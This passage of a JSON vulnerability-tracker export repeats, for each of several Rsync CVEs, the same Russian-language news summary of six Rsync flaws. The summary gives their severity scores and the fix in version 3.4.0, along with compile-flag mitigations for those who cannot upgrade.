\u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "a743656c-6059-4a6d-b34f-4a7d5d36f22b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "1267b6c5-23bf-411f-bd4f-3512eba41acc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "2ee3f9d3-4d54-4be3-aef7-08af757d949f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 